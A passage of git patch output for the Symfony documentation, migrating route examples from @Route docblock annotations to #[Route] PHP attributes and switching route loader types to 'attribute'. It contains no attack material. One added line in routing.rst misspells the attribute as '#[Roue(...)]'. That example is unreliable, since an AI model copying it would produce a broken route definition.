 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index bc2f116bbc4..e0513ce8947 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -143,9 +143,8 @@ The ``authenticate()`` method is the most important method of the
 authenticator. Its job is to extract credentials (e.g. username &
 password, or API tokens) from the ``Request`` object and transform these
 into a security
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-See :ref:`security-passport` below for a detailed look into the
-authentication process.
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
+(see below).
 
 After the authentication process finished, the user is either authenticated
 or there was something wrong (e.g. incorrect password). The authenticator

From 695332cceef2979d37d95c0f472c78d5833f5354 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 10 Aug 2022 15:23:56 +0200
Subject: [PATCH 2202/5766] Replace Route annotations with attributes, remove
 Route annotation configuration block

---
 configuration/micro_kernel_trait.rst |   4 +-
 controller/service.rst               |  37 --
 controller/soap_web_service.rst      |   4 +-
 controller/upload_file.rst           |   4 +-
 lock.rst                             |   8 +-
 notifier/chatters.rst                |   4 +-
 notifier/texters.rst                 |   4 +-
 page_creation.rst                    |  22 +-
 quick_tour/flex_recipes.rst          |   8 +-
 quick_tour/the_architecture.rst      |   8 +-
 quick_tour/the_big_picture.rst       |  10 +-
 reference/forms/types/datetime.rst   |   2 +-
 routing.rst                          | 489 +--------------------------
 routing/custom_route_loader.rst      |  30 +-
 security.rst                         |  20 --
 security/login_link.rst              |  37 +-
 security/voters.rst                  |   8 +-
 service_container.rst                |   4 +-
 service_container/autowiring.rst     |   4 +-
 templates.rst                        |  28 --
 translation/locale.rst               |  22 --
 21 files changed, 57 insertions(+), 700 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 856ef3bb92e..b1d6af27076 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -256,9 +256,7 @@ has one file in it::
 
     class MicroController extends AbstractController
     {
-        /**
-         * @Route("/random/{limit}")
-         */
+        #[Route('/random/{limit}')]
         public function randomNumber(int $limit): Response
         {
             $number = random_int(0, $limit);
diff --git a/controller/service.rst b/controller/service.rst
index 017b99c61c1..5f259c08b07 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -39,24 +39,6 @@ a service like: ``App\Controller\HelloController::index``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/HelloController.php
-        namespace App\Controller;
-
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class HelloController
-        {
-            /**
-             * @Route("/hello", name="hello", methods={"GET"})
-             */
-            public function index()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/HelloController.php
@@ -118,25 +100,6 @@ which is a common practice when following the `ADR pattern`_
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/Hello.php
-        namespace App\Controller;
-
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        /**
-         * @Route("/hello/{name}", name="hello")
-         */
-        class Hello
-        {
-            public function __invoke($name = 'World')
-            {
-                return new Response(sprintf('Hello %s!', $name));
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/Hello.php
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index effa613c1c5..9675d05e2a4 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -66,9 +66,7 @@ can be retrieved via ``/soap?wsdl``::
 
     class HelloServiceController extends AbstractController
     {
-        /**
-         * @Route("/soap")
-         */
+        #[Route('/soap')]
         public function index(HelloService $helloService)
         {
             $soapServer = new \SoapServer('/path/to/hello.wsdl');
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 8f64fb10f80..b962710ca8f 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -133,9 +133,7 @@ Finally, you need to update the code of the controller that handles the form::
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/new", name="app_product_new")
-         */
+        #[Route('/product/new', name: 'app_product_new')]
         public function new(Request $request, SluggerInterface $slugger)
         {
             $product = new Product();
diff --git a/lock.rst b/lock.rst
index 688bc3b8c0a..8ca227cd9d0 100644
--- a/lock.rst
+++ b/lock.rst
@@ -171,9 +171,7 @@ To lock the default resource, autowire the lock factory using
 
     class PdfController extends AbstractController
     {
-        /**
-         * @Route("/download/terms-of-use.pdf")
-         */
+        #[Route('/download/terms-of-use.pdf')]
         public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf)
         {
             $lock = $factory->createLock('pdf-creation');
@@ -212,9 +210,7 @@ processes asking for the same ``$version``::
 
     class PdfController extends AbstractController
     {
-        /**
-         * @Route("/download/{version}/terms-of-use.pdf")
-         */
+        #[Route('/download/{version}/terms-of-use.pdf')]
         public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf)
         {
             $lock = $lockFactory->createLock($version);
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 65cfa7acd64..972f89885fe 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -17,9 +17,7 @@ you to send messages to chat services like Slack or Telegram::
 
     class CheckoutController extends AbstractController
     {
-        /**
-         * @Route("/checkout/thankyou")
-         */
+        #[Route('/checkout/thankyou')]
         public function thankyou(ChatterInterface $chatter)
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
diff --git a/notifier/texters.rst b/notifier/texters.rst
index a2cec96012f..6e1590ef90c 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -16,9 +16,7 @@ you to send SMS messages::
 
     class SecurityController
     {
-        /**
-         * @Route("/login/success")
-         */
+        #[Route('/login/success')]
         public function loginSuccess(TexterInterface $texter)
         {
             $sms = new SmsMessage(
diff --git a/page_creation.rst b/page_creation.rst
index d30bf994954..f6ac7b9b1c9 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -106,24 +106,6 @@ You can now add your route directly *above* the controller:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/LuckyController.php
-
-        // ...
-        + use Symfony\Component\Routing\Annotation\Route;
-
-        class LuckyController
-        {
-        +   /**
-        +    * @Route("/lucky/number")
-        +    */
-            public function number(): Response
-            {
-                // this looks exactly the same
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/LuckyController.php
@@ -257,9 +239,7 @@ variable so you can use it in Twig::
 
     class LuckyController extends AbstractController
     {
-        /**
-         * @Route("/lucky/number")
-         */
+        #[Route('/lucky/number')]
         public function number(): Response
         {
             $number = random_int(0, 100);
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7135c6b3ecd..c4ab8af488d 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -86,9 +86,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
     - class DefaultController
     + class DefaultController extends AbstractController
       {
-           /**
-            * @Route("/hello/{name}")
-            */
+           #[Route('/hello/{name}')]
            public function index($name)
            {
     -        return new Response("Hello $name!");
@@ -165,9 +163,7 @@ Are you building an API? You can already return JSON from any controller::
     {
         // ...
 
-        /**
-         * @Route("/api/hello/{name}")
-         */
+        #[Route('/api/hello/{name}')]
         public function apiExample($name)
         {
             return $this->json([
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 5899a73bc66..1c0265b6791 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -31,9 +31,7 @@ use the logger in a controller, add a new argument type-hinted with ``LoggerInte
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
+        #[Route('/hello/{name}')]
         public function index($name, LoggerInterface $logger)
         {
             $logger->info("Saying hello to $name!");
@@ -115,9 +113,7 @@ Great! You can use this immediately in your controller::
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
+        #[Route('/hello/{name}')]
         public function index($name, LoggerInterface $logger, GreetingGenerator $generator)
         {
             $greeting = $generator->getRandomGreeting();
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 34ebc1e1b96..7e704fee0da 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -164,15 +164,13 @@ Instead, add the route *right above* the controller method:
 
       class DefaultController
       {
-    +    /**
-    +     * @Route("/hello/{name}")
-    +     */
+    +      #[Route('/hello/{name}')]
            public function index($name) {
                // ...
            }
       }
 
-This works just like before! But by using annotations, the route and controller
+This works just like before! But by using attributes, the route and controller
 live right next to each other. Need another page? Add another route and method
 in ``DefaultController``::
 
@@ -187,9 +185,7 @@ in ``DefaultController``::
     {
         // ...
 
-        /**
-         * @Route("/simplicity")
-         */
+        #[Route('/simplicity')]
         public function simple()
         {
             return new Response('Simple! Easy! Great!');
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index c189aceb2a6..524e61c8792 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -13,7 +13,7 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
 +---------------------------+-----------------------------------------------------------------------------+
-| Rendered as               | single text box or five select fields                                      |
+| Rendered as               | single text box or five select fields                                       |
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/routing.rst b/routing.rst
index 333c75736c0..cbb7283b93d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -15,45 +15,36 @@ provides other useful features, like generating SEO-friendly URLs (e.g.
 Creating Routes
 ---------------
 
-Routes can be configured in YAML, XML, PHP or using either attributes or
-annotations. All formats provide the same features and performance, so choose
+Routes can be configured in YAML, XML, PHP or using attributes.
+All formats provide the same features and performance, so choose
 your favorite.
 :ref:`Symfony recommends attributes <best-practice-controller-annotations>`
 because it's convenient to put the route and controller in the same place.
 
-Creating Routes as Attributes or Annotations
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating Routes as Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-PHP attributes and annotations allow to define routes next to the code of the
+PHP attributes allow to define routes next to the code of the
 :doc:`controllers </controller>` associated to those routes. Attributes are
 native in PHP 8 and higher versions, so you can use them right away.
 
-In PHP 7 and earlier versions you can use annotations (via the Doctrine Annotations
-library), but first you'll need to install the following dependency in your project:
-
-.. code-block:: terminal
-
-    $ composer require doctrine/annotations
-
-Regardless of what you use (attributes or annotations) you need to add a bit of
-configuration to your project before using them. If your project uses
+You need to add a bit of configuration to your project before using them. If your project uses
 :ref:`Symfony Flex <symfony-flex>`, this file is already created for you.
-Otherwise, create the following file manually (the ``type: annotation`` option
-also applies to attributes, so you can keep it):
+Otherwise, create the following file manually:
 
 .. code-block:: yaml
 
-    # config/routes/annotations.yaml
+    # config/routes/attributes.yaml
     controllers:
         resource: ../../src/Controller/
-        type: annotation
+        type: attribute
 
     kernel:
         resource: ../../src/Kernel.php
-        type: annotation
+        type: attribute
 
 This configuration tells Symfony to look for routes defined as
-annotations/attributes in any PHP class stored in the ``src/Controller/``
+attributes in any PHP class stored in the ``src/Controller/``
 directory.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
@@ -61,25 +52,6 @@ do so, create a :doc:`controller class </controller>` like the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog", name="blog_list")
-             */
-            public function list()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -193,34 +165,6 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogApiController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogApiController extends AbstractController
-        {
-            /**
-             * @Route("/api/posts/{id}", methods={"GET","HEAD"})
-             */
-            public function show(int $id): Response
-            {
-                // ... return a JSON response with the post
-            }
-
-            /**
-             * @Route("/api/posts/{id}", methods={"PUT"})
-             */
-            public function edit(int $id): Response
-            {
-                // ... edit a post
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogApiController.php
@@ -309,33 +253,6 @@ arbitrary matching logic:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/DefaultController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class DefaultController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/contact",
-             *     name="contact",
-             *     condition="context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
-             * )
-             *
-             * expressions can also include configuration parameters:
-             * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
-             */
-            public function contact(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/DefaultController.php
@@ -497,31 +414,6 @@ defined as ``/blog/{slug}``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            // ...
-
-            /**
-             * @Route("/blog/{slug}", name="blog_show")
-             */
-            public function show(string $slug): Response
-            {
-                // $slug will equal the dynamic part of the URL
-                // e.g. at /blog/yay-routing, then $slug='yay-routing'
-
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -601,34 +493,6 @@ the ``{page}`` parameter using the ``requirements`` option:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
-             */
-            public function list(int $page): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/blog/{slug}", name="blog_show")
-             */
-            public function show(string $slug): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -737,26 +601,6 @@ concise, but it can decrease route readability when requirements are complex:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page<\d+>}", name="blog_list")
-             */
-            public function list(int $page): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -824,26 +668,6 @@ other configuration formats they are defined with the ``defaults`` option:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
-             */
-            public function list(int $page = 1): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -929,26 +753,6 @@ parameter:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page<\d+>?1}", name="blog_list")
-             */
-            public function list(int $page): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1020,37 +824,6 @@ optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * This route has a greedy pattern and is defined first.
-             *
-             * @Route("/blog/{slug}", name="blog_show")
-             */
-            public function show(string $slug)
-            {
-                // ...
-            }
-
-            /**
-             * This route could not be matched without defining a higher priority than 0.
-             *
-             * @Route("/blog/list", name="blog_list", priority=2)
-             */
-            public function list()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1112,9 +885,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     {
         // ...
 
-        /**
-         * @Route("/blog/{slug}", name="blog_show")
-         */
+        #[Roue('/blog/{slug}', name: 'blog_show')]
         public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter
@@ -1162,33 +933,6 @@ and in route imports. Symfony defines some special attributes with the same name
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/ArticleController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class ArticleController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/articles/{_locale}/search.{_format}",
-             *     locale="en",
-             *     format="html",
-             *     requirements={
-             *         "_locale": "en|fr",
-             *         "_format": "html|xml",
-             *     }
-             * )
-             */
-            public function search(): Response
-            {
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/ArticleController.php
@@ -1272,26 +1016,6 @@ the controllers of the routes:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page}", name="blog_index", defaults={"page": 1, "title": "Hello world!"})
-             */
-            public function index(int $page, string $title): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1365,26 +1089,6 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/DefaultController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class DefaultController extends AbstractController
-        {
-            /**
-             * @Route("/share/{token}", name="share", requirements={"token"=".+"})
-             */
-            public function share($token): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/DefaultController.php
@@ -1575,44 +1279,13 @@ It's common for a group of routes to share some options (e.g. all routes related
 to the blog start with ``/blog``) That's why Symfony includes a feature to share
 route configuration.
 
-When defining routes as attributes or annotations, put the common configuration
-in the ``#[Route]`` attribute (or ``@Route`` annotation) of the controller
-class. In other routing formats, define the common configuration using options
+When defining routes as attributes, put the common configuration
+in the ``#[Route]`` attribute of the controller class.
+In other routing formats, define the common configuration using options
 when importing the routes.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        /**
-         * @Route("/blog", requirements={"_locale": "en|es|fr"}, name="blog_")
-         */
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/{_locale}", name="index")
-             */
-            public function index(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/{_locale}/posts/{slug}", name="show")
-             */
-            public function show(Post $post): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1799,9 +1472,7 @@ information in a controller via the ``Request`` object::
 
     class BlogController extends AbstractController
     {
-        /**
-         * @Route("/blog", name="blog_list")
-         */
+        #[Route('/blog', name: 'blog_list')]
         public function list(Request $request): Response
         {
             $routeName = $request->attributes->get('_route');
@@ -1984,34 +1655,6 @@ host name:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/MainController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class MainController extends AbstractController
-        {
-            /**
-             * @Route("/", name="mobile_homepage", host="m.example.com")
-             */
-            public function mobileHomepage(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/", name="homepage")
-             */
-            public function homepage(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/MainController.php
@@ -2088,40 +1731,6 @@ multi-tenant applications) and these parameters can be validated too with
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/MainController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class MainController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/",
-             *     name="mobile_homepage",
-             *     host="{subdomain}.example.com",
-             *     defaults={"subdomain"="m"},
-             *     requirements={"subdomain"="m|mobile"}
-             * )
-             */
-            public function mobileHomepage(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/", name="homepage")
-             */
-            public function homepage(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/MainController.php
@@ -2250,29 +1859,6 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/CompanyController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class CompanyController extends AbstractController
-        {
-            /**
-             * @Route({
-             *     "en": "/about-us",
-             *     "nl": "/over-ons"
-             * }, name="about_us")
-             */
-            public function about(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/CompanyController.php
@@ -2453,25 +2039,6 @@ session shouldn't be used when matching a request:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/MainController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class MainController extends AbstractController
-        {
-            /**
-             * @Route("/", name="homepage", stateless=true)
-             */
-            public function homepage()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/MainController.php
@@ -2564,9 +2131,7 @@ use the ``generateUrl()`` helper::
 
     class BlogController extends AbstractController
     {
-        /**
-         * @Route("/blog", name="blog_list")
-         */
+        #[Route('/blog', name: 'blog_list')]
         public function list(): Response
         {
             // generate a URL with no route arguments
@@ -2852,26 +2417,6 @@ each route explicitly:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", schemes={"https"})
-             */
-            public function login(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/SecurityController.php
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 74adb50d4a1..152ee90cad6 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -7,7 +7,7 @@ How to Create a custom Route Loader
 Basic applications can define all their routes in a single configuration file -
 usually ``config/routes.yaml`` (see :ref:`routing-creating-routes`).
 However, in most applications it's common to import routes definitions from
-different resources: PHP annotations or attributes in controller files, YAML, XML
+different resources: PHP attributes in controller files, YAML, XML
 or PHP files stored in some directory, etc.
 
 Built-in Route Loaders
@@ -24,10 +24,10 @@ Symfony provides several route loaders for the most common needs:
             # loads routes from the given routing file stored in some bundle
             resource: '@AcmeBundle/Resources/config/routing.yaml'
 
-        app_annotations:
-            # loads routes from the PHP annotations of the controllers found in that directory
+        app_attributes:
+            # loads routes from the PHP attributes of the controllers found in that directory
             resource: '../src/Controller/'
-            type:     annotation
+            type:     attribute
 
         app_directory:
             # loads routes from the YAML, XML or PHP files found in that directory
@@ -51,8 +51,8 @@ Symfony provides several route loaders for the most common needs:
             <!-- loads routes from the given routing file stored in some bundle -->
             <import resource="@AcmeBundle/Resources/config/routing.yaml"/>
 
-            <!-- loads routes from the PHP annotations of the controllers found in that directory -->
-            <import resource="../src/Controller/" type="annotation"/>
+            <!-- loads routes from the PHP attributes of the controllers found in that directory -->
+            <import resource="../src/Controller/" type="attribute"/>
 
             <!-- loads routes from the YAML or XML files found in that directory -->
             <import resource="../legacy/routing/" type="directory"/>
@@ -70,8 +70,8 @@ Symfony provides several route loaders for the most common needs:
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
-            // loads routes from the PHP annotations of the controllers found in that directory
-            $routes->import('../src/Controller/', 'annotation');
+            // loads routes from the PHP attributes of the controllers found in that directory
+            $routes->import('../src/Controller/', 'attribute');
 
             // loads routes from the YAML or XML files found in that directory
             $routes->import('../legacy/routing/', 'directory');
@@ -103,7 +103,7 @@ Loading Routes
 The routes in a Symfony application are loaded by the
 :class:`Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader`.
 This loader uses several other loaders (delegates) to load resources of
-different types, for instance YAML files or ``@Route`` annotations in controller
+different types, for instance YAML files or ``#[Route]`` attributes in controller
 files. The specialized loaders implement
 :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface`
 and therefore have two important methods:
@@ -119,7 +119,7 @@ Take these lines from the ``routes.yaml``:
         # config/routes.yaml
         controllers:
             resource: ../src/Controller/
-            type: annotation
+            type: attribute
 
     .. code-block:: xml
 
@@ -130,7 +130,7 @@ Take these lines from the ``routes.yaml``:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../src/Controller" type="annotation"/>
+            <import resource="../src/Controller" type="attribute"/>
         </routes>
 
     .. code-block:: php
@@ -139,13 +139,13 @@ Take these lines from the ``routes.yaml``:
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('../src/Controller', 'annotation');
+            $routes->import('../src/Controller', 'attribute');
         };
 
 When the main loader parses this, it tries all registered delegate loaders and calls
 their :method:`Symfony\\Component\\Config\\Loader\\LoaderInterface::supports`
 method with the given resource (``../src/Controller/``)
-and type (``annotation``) as arguments. When one of the loader returns ``true``,
+and type (``attribute``) as arguments. When one of the loader returns ``true``,
 its :method:`Symfony\\Component\\Config\\Loader\\LoaderInterface::load` method
 will be called, which should return a :class:`Symfony\\Component\\Routing\\RouteCollection`
 containing :class:`Symfony\\Component\\Routing\\Route` objects.
@@ -219,7 +219,7 @@ tag it manually with ``routing.route_loader``.
 Creating a custom Loader
 ------------------------
 
-To load routes from some custom source (i.e. from something other than annotations,
+To load routes from some custom source (i.e. from something other than attributes,
 YAML or XML files), you need to create a custom route loader. This loader
 has to implement :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface`.
 
@@ -439,7 +439,7 @@ configuration file - you can call the
 
     The resource name and type of the imported routing configuration can
     be anything that would normally be supported by the routing configuration
-    loader (YAML, XML, PHP, annotation, etc.).
+    loader (YAML, XML, PHP, attribute, etc.).
 
 .. note::
 
diff --git a/security.rst b/security.rst
index 0f8145949a0..fd1d6a4b96b 100644
--- a/security.rst
+++ b/security.rst
@@ -1650,26 +1650,6 @@ Next, you need to create a route for this URL (but not a controller):
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
-             */
-            public function logout(): void
-            {
-                // controller can be blank: it will never be called!
